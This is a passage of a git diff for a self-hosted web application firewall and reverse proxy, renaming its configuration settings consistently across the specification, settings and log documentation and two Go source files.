may open. Anchor the paths of your own `ban` rules at the site root too. A rule has one target, so a `path` rule applies on every site behind - that `waf`. A directory mounted over `SWW_WAF_RULES_DIR` replaces the default - file; single files mounted into it add to it. + that `waf`. A directory mounted over `SWW_WAF_RULE_FILES_DIR` replaces the + default file; single files mounted into it add to it. - Rules meant to be edited while `waf` runs belong in a mounted directory, not a mounted file. Many editors save a file by replacing it, and a container keeps seeing the old one when the file alone is mounted. The lookup database is mounted the same way, for the same reason. To run without rule files, mount an - empty directory or set `SWW_WAF_RULES_ENABLED=false`. + empty directory or set `SWW_WAF_RULE_FILES_ENABLED=false`. ## Persistent state @@ -2133,8 +2143,8 @@ lists the files, what each holds, and their sizes. in the metrics and sent as one `file_error` alert per cooldown, and retried at the next write. - A hard kill loses the changes since the last write: ban changes from the last - `SWW_WAF_STATE_WRITE_DELAY`, everything else from the last - `SWW_WAF_STATE_COUNTER_INTERVAL`. Losing the volume loses ban history, not + `SWW_WAF_BANS_WRITE_DELAY`, everything else from the last + `SWW_WAF_STATE_WRITE_INTERVAL`. Losing the volume loses ban history, not service. ## Request log @@ -2160,10 +2170,11 @@ lines to stdout only. severity informational, the time, the host's name and the app name from `SWW_WAF_LOG_REMOTE_APP_NAME`. - Sending happens on its own goroutine from a buffer of - `SWW_WAF_LOG_REMOTE_BUFFER` lines, so a server that is slow or down never - holds up a request and never stops stdout. When the buffer is full, the oldest - line is dropped and counted in the metrics. A failed connection is tried again - a second later, and twice as long after each further failure, up to a minute. + `SWW_WAF_LOG_REMOTE_BUFFER_LINES` lines, so a server that is slow or down + never holds up a request and never stops stdout. When the buffer is full, the + oldest line is dropped and counted in the metrics. A failed connection is + tried again a second later, and twice as long after each further failure, up + to a minute. - As `waf` stops, it spends at most two seconds sending the lines still waiting, and drops the rest; stdout has carried them. @@ -2310,21 +2321,23 @@ In `observe` mode a request that `enforce` mode would refuse is answered answered `404`. The Core Rule Set inspects the body a question carries only while -`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. It inspects at most 64 KiB less one -byte. So it does not inspect a JSON or XML body of 64 KiB or more, which may -have been cut short. +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. It inspects at most 64 KiB +less one byte. So it does not inspect a JSON or XML body of 64 KiB or more, +which may have been cut short. ### Answering in time -`rproxy` stops waiting for `waf` after `SWW_RPROXY_TIMEOUT_MS`, by default 2 -seconds, and `SWW_RPROXY_DEFAULT_DISPOSITION` then decides. The longest a -question waits on an outside source is `SWW_WAF_LOOKUP_TIMEOUT`, by default 800 -milliseconds, well within that time. +`rproxy` stops waiting for `waf` after `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, by +default 2 seconds, and `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` then +decides. The longest a question waits on an outside source is +`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds, well +within that time. GeoJS is the only outside source a question can wait on. A question waits only -when step 6 says so, and for at most `SWW_WAF_LOOKUP_TIMEOUT`, by default 800 -milliseconds. A client without an answer by then counts as unknown. No question -waits on these, which run in the background: +when step 6 says so, and for at most +`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds. A +client without an answer by then counts as unknown. No question waits on these, +which run in the background: - the DNS blocklists and AbuseIPDB; - fetching the blocklists, the tag lists, the CrowdSec decision list and the @@ -2341,15 +2354,16 @@ In `enforce` mode, a question does not wait for GeoJS when it is a request: Such a request still goes through the steps in their order. Its client's AS number and country stay unknown until GeoJS has answered. So while `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first. -`SWW_WAF_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting -never lowers its limit. +`SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` does not apply to it until then, so not +waiting never lowers its limit. The header limits, the static lists and bans come before the lookup, so they never wait. These can still wait for GeoJS: - a country list, which needs the answer; - a rate limit a percentage has lowered, which needs the answer; -- a DNS blocklist or AbuseIPDB, while `SWW_WAF_REPUTATION_ACTION` is `deny`; +- a DNS blocklist or AbuseIPDB, while `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` is + `deny`; - a trap path; - a rule file; - the Core Rule Set. @@ -2379,7 +2393,8 @@ other check runs on it. The Core Rule Set runs each of its rules on each cookie, so thousands of small cookies would keep it busy for over a second. Within the limits, one long cookie or query string can still keep it busy for a fraction of a second. So enough -such requests at once can overload `waf` past `SWW_RPROXY_TIMEOUT_MS`. +such requests at once can overload `waf` past +`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. ### The report @@ -2418,7 +2433,7 @@ answer. For a request it holds, `waf` writes the request's last log line (see "The log"). For a request it allowed, it first: -- counts the body bytes `SWW_WAF_BYTES_COUNT` names, toward the client's byte +- counts the body bytes `SWW_WAF_BYTES_COUNTED` names, toward the client's byte limits at the percentages it gave that request; - bans a client whose total passes a byte limit; - adds the request with its status to the client's history, the anomaly counters @@ -2485,9 +2500,9 @@ request and ban notes name the site by its host. `sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each request, and passes on what `waf` allows. It keeps nothing between requests and writes nothing to disk. When `waf` cannot be connected to, does not answer at -all, or does not answer within `SWW_RPROXY_TIMEOUT_MS`, -`SWW_RPROXY_DEFAULT_DISPOSITION` decides. Its default, `allow`, keeps the site -answering. +all, or does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides. Its default, `allow`, +keeps the site answering. `rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists. One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no @@ -2578,36 +2593,37 @@ log line has status `0`. ### Without an answer from `waf` -`SWW_RPROXY_DEFAULT_DISPOSITION` decides what is done with the request only when -`waf`: +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides what is done with the +request only when `waf`: - cannot be connected to; - does not answer at all; -- does not answer within `SWW_RPROXY_TIMEOUT_MS`, which covers connecting, - sending the question and reading the whole answer. +- does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, which covers + connecting, sending the question and reading the whole answer. An answer whose body breaks off counts as no answer at all. `allow`, the default, passes the request to the app. `deny` answers `503`. Either way `rproxy` writes a process warning, its log line has -`default_disposition`, and it sends no report. +`waf_backend_no_answer`, and it sends no report. A visitor can make `waf` slow. A request that keeps `waf` busy past -`SWW_RPROXY_TIMEOUT_MS`, like any request while `waf` is overloaded, gets -`SWW_RPROXY_DEFAULT_DISPOSITION`. With `deny`, such a request gets `503` instead -of reaching the app. +`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, like any request while `waf` is overloaded, +gets `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. With `deny`, such a request +gets `503` instead of reaching the app. A path under `/_sww/` that `allow` would pass on is answered `404` instead, so that the app never sees that prefix. `rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is -below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy` -writes a process warning, its log line has no `disposition`, and it sends no -report. +below `200`. The visitor gets `502` from `rproxy`, whatever +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process +warning, its log line has no `disposition`, and it sends no report. A visitor that goes away while `waf` is being asked is no failure of `waf`. -`rproxy` closes the connection, with no warning, no default and no report. Its -log line has status `0` and no `disposition`. +`rproxy` closes the connection with no warning and no report, and +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has +status `0` and no `disposition`. ### Passing a request to the app @@ -2710,8 +2726,8 @@ those at `info` or more severe are written. On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in progress five seconds to finish. It then waits for the reports on their way, -each for up to `SWW_RPROXY_TIMEOUT_MS`. A report that comes due after that is -dropped, such as that of a WebSocket that closes later. +each for up to `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. A report that comes due +after that is dropped, such as that of a WebSocket that closes later. ## Deployment @@ -2805,13 +2821,14 @@ process that stops at start is started again every second, not in a tight loop. does not stop. Beside an app, the other process keeps running. - While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy` answers `502`, which is not a client offence. While `waf` is down, - `SWW_RPROXY_DEFAULT_DISPOSITION` decides (see "Without an answer from `waf`"). + `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides (see "Without an answer + from `waf`"). - Only faults found at start stop `waf`: - invalid configuration; - a lookup database that is missing or unreadable; - a rule file or state file that does not parse; - an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`; - - a `SWW_WAF_RULES_DIR` that does not exist or cannot be read; + - a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read; - a `SWW_WAF_LISTEN_ADDR` it cannot listen on. - Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on, stops `rproxy`. diff --git a/docs/metrics.md b/docs/metrics.md index 7bf670f..48d6531 100644 --- a/docs/metrics.md +++ b/docs/metrics.md @@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets `honor_labels: true`. `rproxy` has no metrics. Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts -body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says. +body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says. ## Traffic @@ -33,7 +33,8 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says. ## Countries and AS numbers -For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`: +For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest +as `other`: - `sww_country_requests_total`, `sww_country_request_bytes_total`, `sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by diff --git a/docs/request-log.md b/docs/request-log.md index dd882f5..f3a1209 100644 --- a/docs/request-log.md +++ b/docs/request-log.md @@ -128,8 +128,8 @@ Every one of these lines has: - `rule_files`: `rule_id` and `rule_action`, of the rule that refused it; - `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`; - `core_rule_set`: `score`, and `threshold`, - `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`; - - `refusal_limit`: `window`, `count` and `limit`, of the error burst; + `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`; + - `refusal_limit`: `window`, `count` and `limit`, of the refusal limit; - `byte_limits`: `window`, `count` and `limit`, the count in bytes. - `after_answer_heuristic`: the heuristic that banned the client after `waf` answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`. @@ -148,7 +148,7 @@ Every one of these lines has: holds: - `minute`, `hour` and `day`: requests; - `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes - `SWW_WAF_BYTES_COUNT` names, in that window. + `SWW_WAF_BYTES_COUNTED` names, in that window. A count can have a fraction (see "Counting method" in [`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its @@ -158,7 +158,8 @@ Every one of these lines has: - `limit_hit`: the limit broken: - `minute`, `hour` or `day` for a rate limit; - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit; - - `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`). + - `minute_refusals` for the refusal limit + (`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`). When the bytes counted for a request and its response break a limit, the request has been passed on whole, so its `action` stays `forward`. Only its @@ -233,14 +234,15 @@ meanings where they differ: was sooner. It includes the wait for `waf`. - `duration_response_ms`: milliseconds from then until the end of the answer. - `disposition`: what was done with the request: `allow`, `deny` or `close`. It - is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is - left out when: + is `waf`'s answer, or the value of + `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when: - `waf` was not asked, as for the health check; - the visitor went away while `waf` was being asked; - `waf`'s answer had no valid `X-Sww-Disposition`; - `rproxy` could not pass on `waf`'s answer, and answered `502`. -- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave - `disposition`, and otherwise left out. +- `waf_backend_no_answer`: `true` when + `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and + otherwise left out. For example: diff --git a/docs/settings.md b/docs/settings.md index a763285..3a08ca1 100644 --- a/docs/settings.md +++ b/docs/settings.md @@ -12,6 +12,8 @@ chooses between the two (see "The image's command" below). - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero and negative durations are refused. +- A time in milliseconds is a whole number above zero, such as `2000`. Its + setting's name ends in `_MS`. - A size is a number of bytes with an optional `K`, `M` or `G`, which are powers of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`. - A count is a whole number of requests, such as `1000`. @@ -55,9 +57,9 @@ chooses between the two (see "The image's command" below). - `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an absolute path that can be written. The image's `run` script makes it. -- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be +- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be written after a ban is made, lifted or made permanent. A duration. -- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and +- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and cache file is written. A duration. - `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files, an absolute path that can be written. The image's `run` script makes @@ -77,8 +79,8 @@ chooses between the two (see "The image's command" below). - `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that a `syslog+tls` server's certificate must chain to, instead of the host's own. A file that cannot be read, or holds no certificate, is refused. -- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they - wait to be sent, a whole number above zero. +- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while + they wait to be sent, a whole number above zero. - `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`, `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`, `authpriv`, `ftp`, or `local0` to `local7`. @@ -87,8 +89,9 @@ chooses between the two (see "The image's command" below). ## Metrics -- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many - countries get series of their own. A whole number above zero. +- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS + numbers and how many countries get series of their own. A whole number above + zero. ## Static lists @@ -134,10 +137,10 @@ cut off; the client is banned. - `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and `SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a - client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes - count: response bodies, request bodies or both. The request that passes the - limit is not cut off, and the client is banned when its response ends. -- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte + client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which + bytes count: response bodies, request bodies or both. The request that passes + the limit is not cut off, and the client is banned when its response ends. +- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. @@ -151,13 +154,13 @@ cut off; the client is banned. - `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag, or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset; - the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`; - - `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`; + - `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`; - an anomaly threshold per AS number. - `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`. -- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its - client's first answer from GeoJS, and how long a request to GeoJS may take. A - duration; never `off`. +- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a + request waits for its client's first answer from GeoJS, and how long a request + to GeoJS may take. A time in milliseconds; never `off`. - `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app the client's AS number in `X-Client-ASN` and its country in `X-Client-Country`. @@ -206,22 +209,23 @@ tag that no request can get stops the start. A request can get only these: - a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key masked as the `reputation` field shows it; - `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set; -- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED` - is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor - `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`. +- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while + `SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither + `SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is + `off`. `crowdsec` stops the start in both settings, because a CrowdSec decision refuses the request first. ## Biased thresholds -- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default - empty): a percentage of the byte limits alone, for the AS numbers or countries - listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage - `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number - or country listed twice is refused. -- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client - the lookup cannot place. +- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` + (default empty): a percentage of the byte limits alone, for the AS numbers or + countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the + percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. + An AS number or country listed twice is refused. +- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a + client the lookup cannot place. - `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a text file with one AS number and percentage on each line, such as `AS64496:50`. Each entry counts like an `asn=` tag in @@ -230,15 +234,15 @@ the request first. ## Attack detection -- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule - files. -- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file. +- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the + rule files. +- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file. - `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`. - `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`. - `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level, from 1 to 4. -- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a +- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a request is a match. A whole number above zero, or `off`. - `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules @@ -247,10 +251,10 @@ the request first. `smallwebwaf`'s own. - `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does not inspect. -- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a - request body the Core Rule Set reads, a size of at most `64K`. A question - carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64 - KiB less one byte of it, whatever the value (see "The answer" in +- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how + much of a request body the Core Rule Set reads, a size of at most `64K`. A + question carries no more of a body than 64 KiB, and the Core Rule Set reads at + most 64 KiB less one byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)). - `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set exclusions, written as Coraza directives. It is loaded before the Core @@ -288,9 +292,10 @@ the request first. - a hostname listed twice; - an app listed twice for one hostname; - an entry without a colon. -- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may - get in a minute from a rule file, a trap path or the Core Rule Set, a count or - `off`. The next one bans the client (see "Attack detection" in `SPEC.md`). +- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client + may get in a minute from a rule file, a trap path or the Core Rule Set, a + count or `off`. The next one bans the client (see "Attack detection" in + `SPEC.md`). ## Ban lengths, response and scope @@ -299,8 +304,8 @@ the request first. A duration. - `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends within which breaking a limit again lengthens the next ban. A duration. -- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; - one that would be longer is permanent. A duration. +- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit + that would be longer than this is permanent instead. A duration. - `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of attack. A duration. - `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client @@ -336,12 +341,12 @@ the request first. - `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the URL, it is refused. -- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:` or - `log`, for DNS blocklist and AbuseIPDB hits. -- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or - AbuseIPDB's score is used. A duration. -- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a - check with AbuseIPDB may take. A duration. +- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`, + `limit:` or `log`, for DNS blocklist and AbuseIPDB hits. +- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict + or AbuseIPDB's score is used. A duration. +- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a + zone or a check with AbuseIPDB may take. A time in milliseconds. ## Alerting @@ -369,7 +374,7 @@ the request first. ## Anomaly thresholds Each scope has four thresholds: the most requests and the most body bytes -counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT` +counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED` names. Requests are counts, bytes are sizes. Each is `off` by default. The four thresholds per client are: @@ -389,9 +394,10 @@ as `REQUESTS_PER_MINUTE`: client. - `SWW_WAF_ANOMALY_ASN_...`: per AS number. - `SWW_WAF_ANOMALY_TOTAL_...`: the whole service. -- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole. - `SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such - as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a +- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in + `SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS` + (default empty) is a list of name, `=` and netblock, such as + `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a name, or with a bad netblock, is refused. So is a name used twice. ## Settings given as files @@ -435,10 +441,11 @@ A few limits are fixed rather than settings: ## `waf`'s answer and `rproxy`'s wait -`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. -Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No -question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and -AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in +`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on +an outside source. Keep it well under `rproxy`'s +`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for +`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are +asked in the background (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md)). ## `rproxy` @@ -447,18 +454,17 @@ AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in start, and an invalid value stops the start. Any can be given as a file, as a `SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do. -A time here is a whole number of milliseconds above zero, such as `2000`. - - `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https` URL with a host and an optional port, and nothing more. `rproxy` speaks HTTP/1.1 to it. -- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s - answer, to a question and to a report. A time; never `off`. -- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a - request when `waf` cannot be connected to, does not answer at all, or does not - answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and - `deny` answers `503`. It does not apply to an answer `waf` gives, such as an - error. +- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits + for `waf`'s answer, to a question and to a report. A time in milliseconds; + never `off`. +- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done + with a request when `waf` cannot be connected to, does not answer at all, or + does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it + to the app, and `deny` answers `503`. It does not apply to an answer `waf` + gives, such as an error. - `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or `off`. - `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A @@ -466,11 +472,12 @@ A time here is a whole number of milliseconds above zero, such as `2000`. - `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to send its request line and headers. It then also bounds, from the end of the headers, the time until the app has been sent the whole request. A time - or `off`. + in milliseconds or `off`. - `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take, from the end of the request to its last byte reaching the visitor. An answer `rproxy` gives itself always has at least 10 seconds to be sent, and so - do the status and headers of the app's answer. A time or `off`. + do the status and headers of the app's answer. A time in milliseconds or + `off`. - `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`. - `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index f2d4a82..3b1b308 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -45,7 +45,7 @@ const ( // threshold. EventAnomaly = "anomaly" // EventCoreRuleSetMatch is a request the Core Rule Set scored at or over - // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in + // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in // detect mode. EventCoreRuleSetMatch = "core_rule_set_match" // EventReputationHit is a request whose client a blocklist, the diff --git a/internal/anomaly/anomaly.go b/internal/anomaly/anomaly.go index 97a054d..372be4d 100644 --- a/internal/anomaly/anomaly.go +++ b/internal/anomaly/anomaly.go @@ -37,7 +37,7 @@ const ( ScopeASN = "asn" // ScopeTotal is the whole service. ScopeTotal = "total" - // ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS. + // ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS. ScopeWatchedNet = "watched_net" ) @@ -68,7 +68,7 @@ type Thresholds struct { BytesPerHour int64 } -// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names. +// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names. type NamedNetblock struct { Name string Netblock netip.Prefix @@ -78,12 +78,12 @@ type NamedNetblock struct { type Params struct { // The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*, // SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and - // SWW_WAF_WATCH_*. - Client, Net, ASN, Total, Watch Thresholds + // SWW_WAF_ANOMALY_WATCHED_NET_*. + Client, Net, ASN, Total, WatchedNet Thresholds // NetV4Prefix and NetV6Prefix are the lengths of the netblock around a // client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX). NetV4Prefix, NetV6Prefix int - // NamedNetblocks are SWW_WAF_WATCH_NETS. + // NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS. NamedNetblocks []NamedNetblock // Alerts receive the anomaly alerts. Alerts *alerts.Queue @@ -119,7 +119,7 @@ type Request struct { // ASN, ASName and Country are the client's as looked up, each "" when // unknown. ASN, ASName, Country string - // Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them. + // Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them. Bytes int64 } @@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope { scope: 